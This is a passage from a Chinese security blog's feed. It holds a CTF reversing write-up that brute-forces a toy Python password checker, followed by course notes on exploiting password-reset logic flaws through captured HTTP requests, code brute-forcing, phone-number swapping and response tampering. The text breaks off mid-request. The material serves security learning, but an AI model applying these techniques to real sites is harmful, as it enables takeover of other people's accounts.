class="keyword">if</span> len(user_submitted) != <span class="number">10</span>:</div><div class="line"> <span class="keyword">print</span> <span class="string">"Wrong"</span></div><div class="line"> exit()</div><div class="line"><span class="comment"># 如果用户输入的密码长度不是10位 输出 Wrong 并结束程序</span></div><div class="line"></div><div class="line">verify_arr = [<span class="number">193</span>, <span class="number">35</span>, <span class="number">9</span>, <span class="number">33</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="number">33</span>, <span class="number">9</span>, <span class="number">225</span>]</div><div class="line"><span class="comment"># 定义一个数组 verify_arr 用来验证作用</span></div><div class="line">user_arr = []</div><div class="line"><span class="comment"># 定义并初始化一个 user_arr 数组变量</span></div><div class="line"></div><div class="line"><span class="keyword">for</span> char <span class="keyword">in</span> user_submitted:</div><div class="line"><span class="comment"># 循环提取user_submitted变量中的字符 </span></div><div class="line"> <span class="comment"># '<<' is left bit shift</span></div><div class="line"> <span class="comment"># '>>' is right bit shift</span></div><div class="line"> <span class="comment"># '|' is bit-wise or</span></div><div class="line"> <span class="comment"># '^' is bit-wise xor</span></div><div class="line"> <span class="comment"># '&' is bit-wise and</span></div><div class="line"> user_arr.append( (((ord(char) << <span class="number">5</span>) | (ord(char) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"><span class="comment"># 对这个字符进行 加密处理 这里是核心加密代码,加密后的代码放入user_arr这个变量里面</span></div><div class="line"><span class="keyword">if</span> (user_arr == verify_arr):</div><div class="line"><span class="comment"># 拿user_arr与验证数组verify_arr 来做判断 输入正确或者错误</span></div><div class="line"> <span class="keyword">print</span> <span class="string">"Success"</span></div><div class="line"><span class="keyword">else</span>:</div><div class="line"> <span class="keyword">print</span> <span class="string">"Wrong"</span></div></pre></td></tr></table></figure></p><h2 id="突破"><a href="#突破" class="headerlink" title="突破"></a>突破</h2><p>这一题目的代码很容易理解,从代码中可以看出这一题想让我们写出正确的密码,flag 就是密码值。<br>一次性还原出<code>10</code>位数密码有点难度,这里我的思路是<code>1</code>位<code>1</code>位的去还原。</p><h1 id="POC代码第一版"><a href="#POC代码第一版" class="headerlink" title="POC代码第一版"></a>POC代码第一版</h1><p>第一版代码比较繁琐,手工输入字典,然后手工一位一位的来破解,效率不是很高,虽然最后也可以解出密码来。<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line">zidian =[<span class="string">'{'</span>,<span class="string">'}'</span>,<span class="string">'['</span>,<span class="string">']'</span>,<span class="string">'\''</span>,<span class="string">'|'</span>,<span class="string">';'</span>,<span class="string">':'</span>,<span class="string">'"'</span>,<span class="string">','</span>,<span class="string">'<'</span>,<span class="string">'>'</span>,<span class="string">'.'</span>,<span class="string">'/'</span>,<span class="string">'?'</span>,<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,<span class="string">'4'</span>,<span class="string">'5'</span>,<span class="string">'6'</span>,<span class="string">'7'</span>,<span class="string">'8'</span>,<span class="string">'9'</span>,<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>,<span class="string">'f'</span>,<span class="string">'g'</span>,<span class="string">'h'</span>,<span class="string">'i'</span>,<span class="string">'j'</span>,<span class="string">'k'</span>,<span class="string">'l'</span>,<span class="string">'m'</span>,<span class="string">'n'</span>,<span class="string">'o'</span>,<span class="string">'p'</span>,<span class="string">'q'</span>,<span class="string">'r'</span>,<span class="string">'s'</span>,<span class="string">'t'</span>,<span class="string">'u'</span>,<span class="string">'v'</span>,<span class="string">'w'</span>,<span class="string">'x'</span>,<span class="string">'y'</span>,<span class="string">'z'</span>,<span class="string">'A'</span>,<span class="string">'B'</span>,<span class="string">'C'</span>,<span class="string">'D'</span>,<span class="string">'E'</span>,<span class="string">'F'</span>,<span class="string">'G'</span>,<span class="string">'H'</span>,<span class="string">'I'</span>,<span class="string">'J'</span>,<span class="string">'K'</span>,<span class="string">'L'</span>,<span class="string">'M'</span>,<span class="string">'N'</span>,<span class="string">'O'</span>,<span class="string">'P'</span>,<span class="string">'Q'</span>,<span class="string">'R'</span>,<span class="string">'S'</span>,<span class="string">'T'</span>,<span class="string">'U'</span>,<span class="string">'V'</span>,<span class="string">'W'</span>,<span class="string">'X'</span>,<span class="string">'Y'</span>,<span class="string">'Z'</span>,<span class="string">'!'</span>,<span class="string">'!'</span>,<span class="string">'@'</span>,<span class="string">'#'</span>,<span class="string">'$'</span>,<span class="string">'^'</span>,<span class="string">'&'</span>,<span class="string">'*'</span>,<span class="string">'('</span>,<span class="string">')'</span>,<span class="string">'-'</span>,<span class="string">'+'</span>]</div><div class="line">jiami = (int)(input(<span class="string">"请输入被加密后的密文:"</span>))</div><div class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,(len(zidian)<span class="number">-1</span>)):</div><div class="line"> g = ( (((ord(zidian[i]) << <span class="number">5</span>) | (ord(zidian[i]) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"> <span class="keyword">if</span> (g == jiami):</div><div class="line"> print(<span class="string">"密码原文是"</span>)</div><div class="line"> <span class="keyword">print</span> (zidian[i])</div></pre></td></tr></table></figure></p><p><strong>效果演示</strong><br><img src="http://image.3001.net/images/20171102/15096099186144.png" alt=""> </p><h1 id="POC代码第二版"><a href="#POC代码第二版" class="headerlink" title="POC代码第二版"></a>POC代码第二版</h1><p>我们每次破解还原1位密码还得重新来运行这个脚本,现在思考能不能一直循环的来运行呢?<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line">zidian =[<span class="string">'{'</span>,<span class="string">'}'</span>,<span class="string">'['</span>,<span class="string">']'</span>,<span class="string">'\''</span>,<span class="string">'|'</span>,<span class="string">';'</span>,<span class="string">':'</span>,<span class="string">'"'</span>,<span class="string">','</span>,<span class="string">'<'</span>,<span class="string">'>'</span>,<span class="string">'.'</span>,<span class="string">'/'</span>,<span class="string">'?'</span>,<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,<span class="string">'4'</span>,<span class="string">'5'</span>,<span class="string">'6'</span>,<span class="string">'7'</span>,<span class="string">'8'</span>,<span class="string">'9'</span>,<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>,<span class="string">'f'</span>,<span class="string">'g'</span>,<span class="string">'h'</span>,<span class="string">'i'</span>,<span class="string">'j'</span>,<span class="string">'k'</span>,<span class="string">'l'</span>,<span class="string">'m'</span>,<span class="string">'n'</span>,<span class="string">'o'</span>,<span class="string">'p'</span>,<span class="string">'q'</span>,<span class="string">'r'</span>,<span class="string">'s'</span>,<span class="string">'t'</span>,<span class="string">'u'</span>,<span class="string">'v'</span>,<span class="string">'w'</span>,<span class="string">'x'</span>,<span class="string">'y'</span>,<span class="string">'z'</span>,<span class="string">'A'</span>,<span class="string">'B'</span>,<span class="string">'C'</span>,<span class="string">'D'</span>,<span class="string">'E'</span>,<span class="string">'F'</span>,<span class="string">'G'</span>,<span class="string">'H'</span>,<span class="string">'I'</span>,<span class="string">'J'</span>,<span class="string">'K'</span>,<span class="string">'L'</span>,<span class="string">'M'</span>,<span class="string">'N'</span>,<span class="string">'O'</span>,<span class="string">'P'</span>,<span class="string">'Q'</span>,<span class="string">'R'</span>,<span class="string">'S'</span>,<span class="string">'T'</span>,<span class="string">'U'</span>,<span class="string">'V'</span>,<span class="string">'W'</span>,<span class="string">'X'</span>,<span class="string">'Y'</span>,<span class="string">'Z'</span>,<span class="string">'!'</span>,<span class="string">'!'</span>,<span class="string">'@'</span>,<span class="string">'#'</span>,<span class="string">'$'</span>,<span class="string">'^'</span>,<span class="string">'&'</span>,<span class="string">'*'</span>,<span class="string">'('</span>,<span class="string">')'</span>,<span class="string">'-'</span>,<span class="string">'+'</span>]</div><div class="line"><span class="keyword">while</span>(<span class="number">1</span>):</div><div class="line"> jiami = (int)(input(<span class="string">"请输入被加密后的密文:"</span>))</div><div class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,(len(zidian)<span class="number">-1</span>)):</div><div class="line"> g = ( (((ord(zidian[i]) << <span class="number">5</span>) | (ord(zidian[i]) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"> <span class="keyword">if</span> (g == jiami):</div><div class="line"> print(<span class="string">"密码原文是"</span>)</div><div class="line"> print(zidian[i])</div><div class="line"> panduan = raw_input(<span class="string">"是否继续输入?[Y/N]"</span>)</div><div class="line"> <span class="keyword">if</span>(panduan == <span class="string">'N'</span> <span class="keyword">or</span> panduan ==<span class="string">'n'</span>):</div><div class="line"> print(<span class="string">"Bye Bye~"</span>)</div><div class="line"> exit()</div></pre></td></tr></table></figure></p><p><strong>效果演示</strong><br><img src="http://image.3001.net/images/20171102/15096112555346.png" alt=""><br>可以看到效率提高了很多,尤其是在密码位数比较多的情况下就会显示出差距了。</p><h1 id="POC代码第三版"><a href="#POC代码第三版" class="headerlink" title="POC代码第三版"></a>POC代码第三版</h1><p>这个脚本用起来还不够方便,因为是一位一位去破解的,而且最后为了拿到密码值,我们还得一位一位的拼接起来,现在思考能不能最后把密码值完全拼接好再<code>print</code>出来呢?<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line">zidian =[<span class="string">'{'</span>,<span class="string">'}'</span>,<span class="string">'['</span>,<span class="string">']'</span>,<span class="string">'\''</span>,<span class="string">'|'</span>,<span class="string">';'</span>,<span class="string">':'</span>,<span class="string">'"'</span>,<span class="string">','</span>,<span class="string">'<'</span>,<span class="string">'>'</span>,<span class="string">'.'</span>,<span class="string">'/'</span>,<span class="string">'?'</span>,<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,<span class="string">'4'</span>,<span class="string">'5'</span>,<span class="string">'6'</span>,<span class="string">'7'</span>,<span class="string">'8'</span>,<span class="string">'9'</span>,<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>,<span class="string">'f'</span>,<span class="string">'g'</span>,<span class="string">'h'</span>,<span class="string">'i'</span>,<span class="string">'j'</span>,<span class="string">'k'</span>,<span class="string">'l'</span>,<span class="string">'m'</span>,<span class="string">'n'</span>,<span class="string">'o'</span>,<span class="string">'p'</span>,<span class="string">'q'</span>,<span class="string">'r'</span>,<span class="string">'s'</span>,<span class="string">'t'</span>,<span class="string">'u'</span>,<span class="string">'v'</span>,<span class="string">'w'</span>,<span class="string">'x'</span>,<span class="string">'y'</span>,<span class="string">'z'</span>,<span class="string">'A'</span>,<span class="string">'B'</span>,<span class="string">'C'</span>,<span class="string">'D'</span>,<span class="string">'E'</span>,<span class="string">'F'</span>,<span class="string">'G'</span>,<span class="string">'H'</span>,<span class="string">'I'</span>,<span class="string">'J'</span>,<span class="string">'K'</span>,<span class="string">'L'</span>,<span class="string">'M'</span>,<span class="string">'N'</span>,<span class="string">'O'</span>,<span class="string">'P'</span>,<span class="string">'Q'</span>,<span class="string">'R'</span>,<span class="string">'S'</span>,<span class="string">'T'</span>,<span class="string">'U'</span>,<span class="string">'V'</span>,<span class="string">'W'</span>,<span class="string">'X'</span>,<span class="string">'Y'</span>,<span class="string">'Z'</span>,<span class="string">'!'</span>,<span class="string">'!'</span>,<span class="string">'@'</span>,<span class="string">'#'</span>,<span class="string">'$'</span>,<span class="string">'^'</span>,<span class="string">'&'</span>,<span class="string">'*'</span>,<span class="string">'('</span>,<span class="string">')'</span>,<span class="string">'-'</span>,<span class="string">'+'</span>]</div><div class="line">jieguo = []</div><div class="line"><span class="keyword">while</span>(<span class="number">1</span>):</div><div class="line"> jiami = (int)(input(<span class="string">"请输入被加密后的密文:"</span>))</div><div class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,(len(zidian)<span class="number">-1</span>)):</div><div class="line"> g = ( (((ord(zidian[i]) << <span class="number">5</span>) | (ord(zidian[i]) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"> <span class="keyword">if</span> (g == jiami):</div><div class="line"> print(<span class="string">"密码原文是"</span>)</div><div class="line"> print(zidian[i])</div><div class="line"> jieguo.append(zidian[i])</div><div class="line"> panduan = raw_input(<span class="string">"是否继续输入?[Y/N]"</span>)</div><div class="line"> <span class="keyword">if</span>(panduan == <span class="string">'N'</span> <span class="keyword">or</span> panduan ==<span class="string">'n'</span>):</div><div class="line"> print(<span class="string">"Bye Bye~"</span>)</div><div class="line"> print(<span class="string">"最后的密码是:"</span>)</div><div class="line"> print(jieguo)</div><div class="line"> exit()</div></pre></td></tr></table></figure></p><p><strong>效果演示</strong><br><img src="http://image.3001.net/images/20171103/15097013857671.png" alt=""> </p><h1 id="关于第N个版本"><a href="#关于第N个版本" class="headerlink" title="关于第N个版本"></a>关于第N个版本</h1><p>当然目前来看这个POC验证代码在用户体验上还不是那么友好而且代码中<code>zidian</code>这个在代码中显得过于臃肿。后期肯定还是可以再完善这个代码的。后期的改进方向:</p><ul><li>从文件中加载字典</li><li>1次性输入全部密码 然后解密</li><li>图形化界面</li><li>WEB界面</li><li>添加修改算法规则,灵活破解‘</li></ul><p>当然真正要全部实现这些功能的话,在<code>Python</code>代码上面还得多多的下功夫才可以。↖(^ω^)↗加油</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171103/15097032546681.png" alt=""><br><a href="http://www.sqlsec.com/tags/sky/">PW</a>给的一道CTF题,由于实验吧把这一道题目归类于逆向,那么这个就是我国光做出来的第一道”逆向”题目啦<br>
</summary>
<category term="Reverse" scheme="http://www.sqlsec.com/categories/Reverse/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="逆向" scheme="http://www.sqlsec.com/tags/%E9%80%86%E5%90%91/"/>
<category term="Python" scheme="http://www.sqlsec.com/tags/Python/"/>
</entry>
<entry>
<title>用户密码重置找回10种常见姿势</title>
<link href="http://www.sqlsec.com/2017/10/resetpass.html"/>
<id>http://www.sqlsec.com/2017/10/resetpass.html</id>
<published>2017-10-25T21:35:58.751Z</published>
<updated>2017-10-27T02:49:49.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171026/15089991352303.png" alt=""><br>本篇文章是参考大神<code>carry_your</code>讲师(360补天排名第一)的<code>任意用户密码重置的10种常见姿势</code>总结的笔记。<br>原视频地址:<a href="https://www.ichunqiu.com/course/59045" target="_blank" rel="external">https://www.ichunqiu.com/course/59045</a><br><a id="more"></a></p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>本次课程主要针对挖掘逻辑漏洞中的任意用户密码重置方法和原理从10种常见情况进行了讲述,并结合漏洞挖掘中的真实案例场景与数据包演示了重置密码漏洞的检测方法,让大家对这一类逻辑漏洞有从浅入深,逐步深奥的见解。</p><h1 id="验证码不失效"><a href="#验证码不失效" class="headerlink" title="验证码不失效"></a>验证码不失效</h1><p><img src="http://image.3001.net/images/20171025/15088992702177.png" alt=""> </p><h2 id="造成原因"><a href="#造成原因" class="headerlink" title="造成原因"></a>造成原因</h2><p>找回密码的时候获取的验证码缺少时间限制仅值判断了验证码是够正确未判断验证码是否过期</p><h2 id="测试方法"><a href="#测试方法" class="headerlink" title="测试方法"></a>测试方法</h2><p>通过枚举找到真正的验证码输入验证码完成验证 </p><h2 id="案例"><a href="#案例" class="headerlink" title="案例"></a>案例</h2><p>输入目标手机号,获取验证码随意输入验证码<code>1234</code>点击下一步,拦截数据包:<br><img src="http://image.3001.net/images/20171025/15088995554410.png" alt=""><br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">POST /Account/CheckYQCode HTTP/1.1</div><div class="line">Host: www.xxxx.cn</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0</div><div class="line">Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</div><div class="line">Accept-Encoding: gzip, deflate, br</div><div class="line">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</div><div class="line">X-Requested-With: XMLHttpRequest</div><div class="line">Referer:</div><div class="line">http://www.xxxx.cn/userCenter/toForgetPsdPage.html?mobile=</div><div class="line">Content-Length: 11</div><div class="line">Cookie: ASP.NET_SessionId=30jfruwn22h2xng3ahhzo2jxConnection: close </div><div class="line"></div><div class="line">YQCode=1234</div></pre></td></tr></table></figure></p><p>这种验证码<code>不失效</code>而且验证码是<code>4</code>位数的情况下,直接爆破 看包的返回长度或者内容来找到正确的验证码。<br><img src="http://image.3001.net/images/20171025/15088999432525.png" alt=""><br>得到正确的验证码是<code>1059</code>然后到网站上输入验证码跳转到输入新密码的页面完成<code>重置密码</code><br><img src="http://image.3001.net/images/20171025/15089002175141.png" alt=""> </p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这种验证码不失效的情况现在已经是非常少见的了,而且验证码的位数也很少有简单的<code>4</code>位验证码了。现在绝大多数是这样的:<code>6</code>位数的验证码而且<code>15</code>分钟内有效,这样子的话爆破的可能性就非常的低了。</p><h1 id="验证码直接返回"><a href="#验证码直接返回" class="headerlink" title="验证码直接返回"></a>验证码直接返回</h1><p><img src="http://image.3001.net/images/20171025/15089379265843.png" alt=""> </p><h2 id="造成原因-1"><a href="#造成原因-1" class="headerlink" title="造成原因"></a>造成原因</h2><p>输入手机号后点击获取验证码,验证码在<code>客户端</code>生成,并直接返回在<code>Response</code>以<code>方便</code>对接下来的验证码进行比对。</p><h2 id="测试方法-1"><a href="#测试方法-1" class="headerlink" title="测试方法"></a>测试方法</h2><p>直接输入目标手机号,点击获取验证码,并观察返回包即可。在返回包中得到目标手机号获取的验证码,进而完成验证,重置密码成功。</p><h2 id="案例-1"><a href="#案例-1" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171025/15089381855035.png" alt=""> </p><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>这种情况上次狗哥也拿出来了这样一个类似的案例,记得他那个情况是在找回密码返回包中,直接返回了旧密码的<code>md5</code>值,然后修改返回包可以直接重置管理员的密码。</p><h1 id="验证码未绑定用户"><a href="#验证码未绑定用户" class="headerlink" title="验证码未绑定用户"></a>验证码未绑定用户</h1><p><img src="http://image.3001.net/images/20171025/15089386049445.png" alt=""> </p><h2 id="造成原因-2"><a href="#造成原因-2" class="headerlink" title="造成原因"></a>造成原因</h2><p>输入手机号和验证码进行重置密码的时候,仅对验证码是够正确进行了判断,未对该验证码是否与手机号匹配做验证。</p><h2 id="测试方法-2"><a href="#测试方法-2" class="headerlink" title="测试方法"></a>测试方法</h2><p>在提交手机号和验证码的时候,替换手机号为他人手机号进行测试,成功通过验证并重置他人密码。</p><h2 id="案例一"><a href="#案例一" class="headerlink" title="案例一"></a>案例一</h2><p>首先使用自己的手机号接收验证码,<br><img src="http://image.3001.net/images/20171025/15089395623127.png" alt=""><br>然后输入自己的手机号接收到的验证码,点击下一步并拦截数据包。<br><img src="http://image.3001.net/images/20171025/1508939583592.png" alt=""><br>最后替换数据包里的目标手机号,然后发包<br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">POST /tofindPasswordByPhone3.do HTTP/1.1</div><div class="line">Host: www.xxxx.com</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0</div><div class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</div><div class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</div><div class="line">Accept-Encoding: gzip, deflate</div><div class="line">Referer: http://www.xxxx.com/tofindPasswordByPhone2.do?mobile=131234xxxxx&captcha=qkan&checkbox=on</div><div class="line">Cookie: JSESSIONID=D4DB3147DBF941799B9CA74E4364F2F9; CNZZDATA1257851838=1754906772-1467355802-%7C1467355802; Hm_lvt_203f11422b4fcc8e2be8c54b036c5ff9=1467357432; Hm_lpvt_203f11422b4fcc8e2be8c54b036c5ff9=1467357978; smsRand="d9[x]1gSjADrs[d]"; td_cookie=699947232; </div><div class="line">Connection: close</div><div class="line">Content-Type: application/x-www-form-urlencoded</div><div class="line">Content-Length: 33 </div><div class="line"></div><div class="line">mobile=13888888888&smsCode=561768</div></pre></td></tr></table></figure></p><p><code>mobile</code>的值改为我们想要重置的用户手机号点击下一步,跳转到设置密码的页面输入新密码,提交就成功重置了<code>13888888888</code>的密码。</p><h2 id="案例二"><a href="#案例二" class="headerlink" title="案例二"></a>案例二</h2><p>这个案例是验证码未绑定用户延伸一下,有时候测试会遇到这种,我们发现用户名被加密了,有无法得到具体的加密算法,怎么办?<br><img src="http://image.3001.net/images/20171026/15089790702550.png" alt=""><br>其实大部分这种情况我们都不需要知道加密算法,比如这里例子,得到<code>liuyy</code>的加密后的值是<code>80e688602c4b11e66320c421e3b71ef2</code>,那么我们就可以直接利用这个<code>keyCode</code>参数了。<br><img src="http://image.3001.net/images/20171026/1508979503395.png" alt=""><br>步骤是一样的,输入我们的用户名和收到的验证码,然后把我们的<code>keycode</code>替换为<code>liuyy</code>的那个<code>keycode</code>,这样就可以重置<code>liuyy</code>的密码了。(漏洞原因还是是判断了验证码是否正确,而没有判断该验证码是否跟该用户匹配。) </p><h2 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h2><p>这种情况没有遇到过,学习了,以后在找回密码的时候会这么测试的。现在看来对于白帽子来说有2个手机号是多么的方便了。<br>案例二中如何获取到其他用户的<code>keyCode</code>呢?这里的话正常走一遍找回密码的流程,然后抓包就会在数据包中找到加密后的<code>keyCode</code>了,这样就可以重置任意用户的密码了。 </p><h1 id="修改接受验证码的手机或邮箱"><a href="#修改接受验证码的手机或邮箱" class="headerlink" title="修改接受验证码的手机或邮箱"></a>修改接受验证码的手机或邮箱</h1><p><img src="http://image.3001.net/images/20171026/15089797724619.png" alt=""> </p><h2 id="造成原因-3"><a href="#造成原因-3" class="headerlink" title="造成原因"></a>造成原因</h2><p>用户名、手机号、验证码三者没有<code>统一</code>进行验证,仅判断了三者中的手机号和验证是否匹配和正确,如果正确则判断成功并进入下一流程。</p><h2 id="测试方法-3"><a href="#测试方法-3" class="headerlink" title="测试方法"></a>测试方法</h2><p>输入用户名获取验证码,修改接收验证码的手机号为自己的号码,自己手机成功接收验证码,提交到网站进行验证,验证成功并进入下一流程。</p><h2 id="案例-2"><a href="#案例-2" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089799836208.png" alt=""><br>点击找回密码,首先我们输入<code>zhangwei</code>,然后点击获取验证码,这个时候把<code>手机号</code>改为我们自己的号码,(一般情况下这里是在数据包中进行修改的),然后输入我们<code>自己</code>的号码和验证码,成功跳到重置密码的页面,密码重置成功。</p><h2 id="总结-3"><a href="#总结-3" class="headerlink" title="总结"></a>总结</h2><p><code>carry_your</code>大神说这种情况下还是比较常见的,这里不是很能理解,为什么程序员开发的时候不做用户名和手机号的匹配呢?我平时测试的时候,很少遇到这种不做用户名和手机号匹配的情况 ⊙﹏⊙|||</p><h1 id="本地验证绕过"><a href="#本地验证绕过" class="headerlink" title="本地验证绕过"></a>本地验证绕过</h1><p><img src="http://image.3001.net/images/20171026/15089805244499.png" alt=""> </p><h2 id="造成原因-4"><a href="#造成原因-4" class="headerlink" title="造成原因"></a>造成原因</h2><p>客户端在<code>本地进行</code>验证码是否正确的<code>判断</code>,而该<code>判断结果</code>也可以在<code>本地修改</code>,最终导致<code>欺骗客户端</code>,误以为我们已经输入了正确的验证码。</p><h2 id="测试方法-4"><a href="#测试方法-4" class="headerlink" title="测试方法"></a>测试方法</h2><p>重置目标用户,输入错误验证码,修改返回包,把错误改为正确,即可绕过验证步骤,最终重置用户密码。</p><h2 id="案例-3"><a href="#案例-3" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089826823959.png" alt=""><br>输入手机号<code>13888888888</code>,输入验证码<code>123456</code>,验证码错误的时候,返回包返回的是<code>0</code><br><img src="http://image.3001.net/images/20171026/15089827596930.png" alt=""><br>这里我们所做的就是把<code>0</code>修改为<code>1</code>,可以借工具修改返回包,我们把<code>0</code>改为<code>1</code>,然后查看页面,成功跳转到修改密码的页面,输入新密码即可修改用户<code>13888888888</code>的密码</p><h2 id="总结-4"><a href="#总结-4" class="headerlink" title="总结"></a>总结</h2><p><code>who_jeff</code>大神曾经分享给过这样一个类似的案例,当时他是在一个安卓<code>app</code>上进行抓包测试的,当时就直接修改返回包 来欺骗本地的<code>app</code>客户端的,成功重置任意用户的密码。</p><h1 id="跳过验证步骤"><a href="#跳过验证步骤" class="headerlink" title="跳过验证步骤"></a>跳过验证步骤</h1><p><img src="http://image.3001.net/images/20171026/15089805583470.png" alt=""> </p><h2 id="造成原因-5"><a href="#造成原因-5" class="headerlink" title="造成原因"></a>造成原因</h2><p>对修改密码的步骤,没有做校验,导致可以直接输入最终修改密码的网址,直接跳转到该页面,然后输入新密码达到重置密码的目的。</p><h2 id="测试方法-5"><a href="#测试方法-5" class="headerlink" title="测试方法"></a>测试方法</h2><p>首先使用<code>自己</code>的账号<code>走一次流程</code>,<code>获取</code>每个步骤的页面<code>链接</code>,然后记录页面<code>3</code>对应的输入新密码的链接,重置他人用户时,获取验证码后,直接输入页面<code>3</code>链接到新密码的界面,输入密码重置成功。</p><h2 id="案例-4"><a href="#案例-4" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089832285011.png" alt=""><br>首先我们走一下所有的步骤,页面1、页面2、页面3,然后记录下页面3的链接<br><img src="http://image.3001.net/images/20171026/15089832727971.png" alt=""><br>然后尝试重置他人的用户。(ps:页面<code>3</code>是在我们的邮箱里接收到的链接)<br><em>是某集团系统,所以用户<code>wangshuai</code>,邮箱对应<code>[email protected]</code></em><br><img src="http://image.3001.net/images/20171026/15089833661198.png" alt=""><br>使用账户<code>wangshuai</code>,点击获取验证码,然后补齐下面的链接 <code>https://xxx/page/login/veifyAccess.html?username=wangshuai&[email protected]</code>,<code>访问</code>后即可<code>直接重置</code>该用户的密码 </p><h2 id="总结-5"><a href="#总结-5" class="headerlink" title="总结"></a>总结</h2><p>这个漏洞不用按照正常的流程来走,这里的话直接补齐设置新密码的链接,然后利用这里链接可以直接重置任意用户的密码。 </p><h1 id="未校验用户字段的值"><a href="#未校验用户字段的值" class="headerlink" title="未校验用户字段的值"></a>未校验用户字段的值</h1><p><img src="http://image.3001.net/images/20171026/15089807438438.png" alt=""> </p><h2 id="造成原因-6"><a href="#造成原因-6" class="headerlink" title="造成原因"></a>造成原因</h2><p>在整个重置密码的流程中,只对<code>验证码</code>和<code>手机号</code>做了校验,<code>未对</code>后面<code>设置新密码</code>的用户身份做<code>判断</code>,导致在<code>最后一步</code>通过修改用户身份来重置他人的密码。</p><h2 id="测试方法-6"><a href="#测试方法-6" class="headerlink" title="测试方法"></a>测试方法</h2><p>使用<code>自己</code>的手机号<code>走流程</code>,在走到<code>最后一个</code>设置密码的<code>流程</code>时,<code>修改数据包</code>里的用户信息。</p><h2 id="案例-5"><a href="#案例-5" class="headerlink" title="案例"></a>案例</h2><p><img src="http://image.3001.net/images/20171026/15089836793615.png" alt=""><br>使用自己的手机号走流程,最后一步的数据包:<br><strong>数据包</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">POST /yw_xxx/regist/saveNewPwd.action HTTP/1.1</div><div class="line">Host: www.xxx.com</div><div class="line">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 